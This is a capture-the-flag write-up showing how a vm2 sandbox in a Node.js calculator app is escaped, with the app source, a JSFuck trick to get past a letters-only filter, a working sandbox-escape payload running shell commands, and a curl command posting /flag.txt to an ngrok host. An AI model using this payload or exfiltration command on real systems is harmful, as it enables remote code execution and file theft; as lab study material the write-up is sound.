Description
This site is secure and sandboxed.
Solution
When we start the challange we will find the source code which is a NodeJS express site and it’s a small app as you see
const express = require("express");
const {VM} = require("vm2");
const app = express();
const vm = new VM();
app.use(express.json());
app.get('/', function (req, res) {
return res.send("Hello, just index : )");
});
app.post('/calc',async function (req, res) {
let { eqn } = req.body;
if (!eqn) {
return res.status(400).json({ 'Error': 'Please provide the equation' });
}
else if (eqn.match(/[a-zA-Z]/)) {
return res.status(400).json({ 'Error': 'Invalid Format' });
}
try {
result = await vm.run(eqn);
res.send(200,result);
} catch (e) {
console.log(e);
return res.status(400).json({ 'Error': 'Syntax error, please check your equation' });
}
});
app.listen(3000,'0.0.0.0',function(){
console.log("Started !")
});
We see const {VM} = require("vm2");
, I searched for it and i knew the version from package.json
file attached ith the challange and the version was "vm2": "^3.9.19"
.
It’s vulnerable to sandbox escaping and the poc is in this article. We see that the code executed is passed to vm.run(code)
function and we have this function in the code of the challange.
When we examine /calc
endpoint we see that it’s an endpoint for solving equations and we will find 4 steps:
- checking if there’s a data in the request body (this data will be in json format)
- data is passed to regex checker to make sure that the data in the request body doesn’t contain any characters
vm.run(code)
at which the equation will be solved or our code will be executed and it’s our goal- syntax error if there is any error from
vm.run(code)
I have the CVE POC code so i can escape the sandbox but the problem is in bypassing regex.
When i send a normal data without any alphabetical characters i get the result of the equation like this
When i try sending any characters i get "Error":"Invalid Format"
after many attempts i got an error in the syntax that told me json.parse is used
This made me to think about prototype pollution
I tried
{
"__proto__": {
"eqn": "1+2"
}
}
but it couldn’t detect that it’s an equation.
I tried many encoding algorithms like unicode but didn’t work.
After many attempts i found the suitable encoding way it’s JSFuck
because it consists of symbols only so it will work
I used this payload
async function fn() {
(function stack() {
new Error().stack;
stack();
})();
}
p = fn();
p.constructor = {
[Symbol.species]: class FakePromise {
constructor(executor) {
executor(
(x) => x,
(err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('curl http://ngrokIP:ngrokport'); }
)
}
}
};
p.then();
and converted it to JSFuck using any online converter and send that request
The curl command worked well
Now let’s read the flag but making the command to be
curl -X POST --data-binary "@/flag.txt" http://ngrokIP:port
convert it and send the request like we did before AND ..
GG !!